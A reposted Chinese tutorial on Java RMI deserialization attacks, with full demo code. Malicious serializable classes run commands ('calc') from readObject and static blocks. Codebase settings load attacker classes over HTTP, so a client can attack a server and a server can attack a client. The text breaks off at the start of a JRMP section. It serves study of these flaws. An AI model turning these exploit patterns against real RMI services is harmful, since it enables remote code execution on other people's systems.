原文地址：https://www.anquanke.com/post/id/194384#h3-3
1.java rmi
關於rmi客戶端和服務端通信的過程，java的方法都實現在rmi服務端，客戶端實際上是通過訪問rmi注冊表拿到stub，然后再通過它調用服務端方法，那么調用方法時要傳遞參數，參數可以為一般類型，也可以為引用類型，那么如果為引用類型，就能夠利用服務端已經有的gaget chain來打server，因為參數實際上是序列化傳輸的，那么數據到達服務端后必定會經過反序列化。
客戶端：
RMIClient.java
package com.longofo.javarmi;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient { /** * Java RMI惡意利用demo * * @param args * @throws Exception */ public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 獲取遠程對象的引用 Services services = (Services) registry.lookup("Services"); PublicKnown malicious = new PublicKnown(); malicious.setParam("calc"); malicious.setMessage("haha"); // 使用遠程對象的引用調用對應的方法 System.out.println(services.sendMessage(malicious)); } }
此時客戶端要打服務端，因此要將惡意的對象作為參數傳遞到服務端，此時序列化的對象將在服務端反序列化
publicKnown.java
package com.longofo.javarmi;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class PublicKnown extends Message implements Serializable { private static final long serialVersionUID = 7439581476576889858L; private String param; public void setParam(String param) { this.param = param; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this.param); } }
此時要傳遞的惡意對象肯定要符合服務端參數類型的定義
服務端：
RMIServer.java
//RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer { /** * Java RMI 服務端 * * @param args */ public static void main(String[] args) { try { // 實例化服務端遠程對象 ServicesImpl obj = new ServicesImpl(); // 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { // 創建Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //綁定遠程對象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
ServiceImpl.java
package com.longofo.javarmi;
import java.rmi.RemoteException; public class ServicesImpl implements Services { public ServicesImpl() throws RemoteException { } @Override public Object sendMessage(Message msg) throws RemoteException { return msg.getMessage(); } }
Service.java
package com.longofo.javarmi;
import java.rmi.RemoteException; public interface Services extends java.rmi.Remote { Object sendMessage(Message msg) throws RemoteException; }
Message.java
package com.longofo.javarmi;
import java.io.Serializable; public class Message implements Serializable { private static final long serialVersionUID = -6210579029160025375L; private String msg; public Message() { } public String getMessage() { System.out.println("Processing message: " + msg); return msg; } public void setMessage(String msg) { this.msg = msg; } }
所以這里服務端存在漏洞的即為ServicesImpl類，其存在一個方法其入口參數為Message對象，並且這里Message這個類是繼承自Serializable，即可以進行反序列化。服務端通過bind()函數綁定遠程對象到RMI注冊表中，此時客戶端即可以訪問RMI注冊表拿到stub，即可調用服務端的方法，比如sendMessage()函數
此時先啟動RMIServer.java,然后再啟動RMIClient.java，即可達到打rmi服務端的效果，這里jdk版本為1.6
在服務端的readObject處下斷點，即可看到調用棧，經過ConnectHandler后就能夠確定服務端要反序列化的類名
接下來就是通過反射調用PublicKnown類的readObject方法 ，進而到達readObject內部的命令執行代碼段
所以這里客戶端肯定要知道服務端有哪些可以調用的方法，以及服務端被調用的方法入口參數要滿足要求，這里在現實情況中應該很少能夠遇到，這里肯定只作為例子來學習。當然反序列化的類可以是本地的gadget，這個例子的測試沒有jdk版本限制，在jdk1.8.202也可以成功，這些限制太大了。在這里實際上就是拿到ServicesImpl的引用，lookup函數查找的也一定是存在與rmi注冊表中存在的對象並拿到引用，並不是直接拷貝了一份該類的對象到本地來，拿到引用之后再去調用該類的方法，傳參到服務端，最后反序列化執行在服務端。
tip：服務端要綁定到rmi 注冊表的對象實現的接口必須繼承自remote，而該對象所對應的接口實現類必須繼承UnicastRemoteObject，否則需要使用靜態方法exportObject處理該對象
2.java rmi 動態加載類
2.1RMI服務端打客戶端
java rmi動態加載類，其實就是通過指定codebase來制定遠程的類倉庫，我們知道java在運行過程中需要類的時候可以在本地加載，即在classpath中找，那么也可以通過codebase來指定遠程庫。默認是不允許遠程加載的，如需加載則需要安裝RMISecurityManager並且配置java.security.policy。並且需要java.rmi.server.useCodebaseOnly 的值必需為false，當然這也是受jdk版本限制的。
RMIClient.java
package com.longofo.javarmi;
import java.rmi.RMISecurityManager; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient1 { /** * Java RMI惡意利用demo * * @param args * @throws Exception */ public static void main(String[] args) throws Exception { //如果需要使用RMI的動態加載功能，需要開啟RMISecurityManager，並配置policy以允許從遠程加載類庫 System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 獲取遠程對象的引用 Services services = (Services) registry.lookup("Services"); Message message = new Message(); message.setMessage("hahaha"); services.sendMessage(message); } }
此時RMI客戶端正常操作，傳入Message對象，並調用服務端sendMessage方法
ServiceImpl.java
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject; import java.rmi.RemoteException; public class ServicesImpl1 implements Services { @Override public ExportObject sendMessage(Message msg) throws RemoteException { return new ExportObject(); } }
可以看到此時服務端實現Services接口的類的sendMessage方法返回值為ExportObject類型，即該類的實例
ExportObject.java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package com.longofo.remoteclass;
import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.Serializable; import java.util.Hashtable; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; public class ExportObject implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public ExportObject() { } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr; String lineStr; for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") { } inBr.close(); in.close(); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } static { try { exec("calc"); } catch (Exception var1) { var1.printStackTrace(); } } }
這里實際上服務端返回的即為該ExportObject類的實例，該類是實現了對象工廠類，並且可以序列化的，所以可以通過jrmp進行傳輸，我們只需要將其編譯放在服務器端指定的codebase地址即可等待客戶端來加載，當客戶端遠程加載該類時將會實例化該類，即調用該類的static代碼段
RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer1 { public static void main(String[] args) { try { // 實例化服務端遠程對象 ServicesImpl1 obj = new ServicesImpl1(); // 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); //設置java.rmi.server.codebase System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry reg; try { // 創建Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //綁定遠程對象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
此時RMIServer端指定了客戶端codebase的地址，即客戶端反序列化ExportObject時需要加載該類，此時將通過服務端提供的codebase來加載
此時先啟動托管遠程類的服務端，將ExportObject.class放在codebase指定的位置，這里要注意包名要和目錄名相一致
然后啟動RMI服務端，啟動RMI客戶端，即完成了客戶端要調用sendMessage方法，此時服務端返回了ExportObject對象，客戶端發現返回的是ExportObject對象后，那將在本地的classpath中沒找到該類，則通過服務端指定的codebase來加載該類，加載該類的后將實例化該類，從而觸發calc
此時托管class的http服務端也收到了加載class文件的請求
這種方法相對於第一種來說打客戶端只需要拿到RMI中對象的引用，調用服務器上的方法即可，這里服務器是攻擊者控制的，只需要在方法中返回惡意對象即可，當然如前面所說，這里是需要securitManager和
useCodebaseOnly為false以及jdk限制的，這里是服務端指定javacodebase的。
2.2RMI客戶端打服務端
RMIClient.java
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject1; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient2 { public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999); // 獲取遠程對象的引用 Services services = (Services) registry.lookup("Services"); ExportObject1 exportObject1 = new ExportObject1(); exportObject1.setMessage("hahaha"); services.sendMessage(exportObject1); } }
上面RMI客戶端打RMI服務端是服務端來指定codebase地址供客戶端參考，客戶端來加載codebase地址的class文件，那么從上面這段代碼可以看到此時是客戶端指定了codebase地址，那么當然服務端就得從客戶端指定的codebase來加載class了,可以看到此時客戶端調用服務端的sendMessage函數傳遞的是ExportObject1對象
ExportObject1.java
package com.longofo.remoteclass;
import com.longofo.javarmi.Message; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.Serializable; import java.util.Hashtable; public class ExportObject1 extends Message implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
此時該類繼承自Message類，實現對象工廠接口，並且支持序列化
ServiceImpl.java
package com.longofo.javarmi;
import java.rmi.RemoteException; public class ServicesImpl implements Services { public ServicesImpl() throws RemoteException { } @Override public Object sendMessage(Message msg) throws RemoteException { return msg.getMessage(); } }
RMIServer.java
//RMIServer2.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException; import java.rmi.RMISecurityManager; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer2 { /** * Java RMI 服務端 * * @param args */ public static void main(String[] args) { try { // 實例化服務端遠程對象 ServicesImpl obj = new ServicesImpl(); // 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { //如果需要使用RMI的動態加載功能，需要開啟RMISecurityManager，並配置policy以允許從遠程加載類庫 System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); // 創建Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //綁定遠程對象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
可以由以上代碼看到，此時RMI服務端綁定的services接口對應的ServicesImpl.java中sendMessage函數將會調用入口參數Message類型對象的getmessage函數，這里方法體內容是什么並不重要，因為這種打法和第一節中的打法一樣，都是打RMI服務端，區別是第一節是利用RMI服務端本地的gaget chain，而這里則是利用遠程類加載，通過客戶端指定的codebase來打RMI服務端。
所以此時codebase的地址也將受到請求ExportObject1.class的請求，因為服務端發現穿送過來的ExportObject1類classpath里面沒有，所有就會通過客戶端指定的codebase加載，從而實例化該惡意ExportObject1類，執行static代碼塊的命令
所以上面兩個例子，客戶端打RMI服務端，以及RMI服務端打客戶端都是利用RMI的調用過程：
1.客戶端打RMI服務端，客戶端調用服務端方法，此時傳給服務端的的參數可控則可能存在風險(這種條件挺難滿足)
2.RMI打客戶端，RMI服務端返回給客戶端的結果是服務端可控的，則該結果則可能存在風險(lookup可控，並且惡意RMI服務端也要自己實現)
和以前分析其他漏洞時的邏輯還是比較相似的，可控即可能存在風險
關於客戶端和服務端互打里面，因為要傳遞序列化的對象，序列化的過程中要知道serialVersionUID，要傳遞的反序列化的對象的包名，類名必須要與服務端一致，這里serialVersionID在https://www.freebuf.com/vuls/126499.html這篇文章中說第一次不傳遞id參數服務端將會返回id值，但是我本地測jdk1.6.01這里客戶端不加id值，也能夠打成功。
RMI-JRMP
上面說的RMI通信過程中假設客戶端在與RMI服務端通信中，雖然也是在JRMP協議上進行通信，嘗試傳輸序列化的惡意對象到服務端，此時服務端若也返回客戶端一個惡意序列化的對象，那么客戶端也可能被攻擊，利用JRMP就可以利用socket進行通信，客戶端直接利用JRMP協議發送數據，而不用接受服務端的返回，因此這種攻擊方式也更加安全。
比如服務端此時啟用RMI服務：
jdk1.7.0_25
如有錯誤，務必請指出。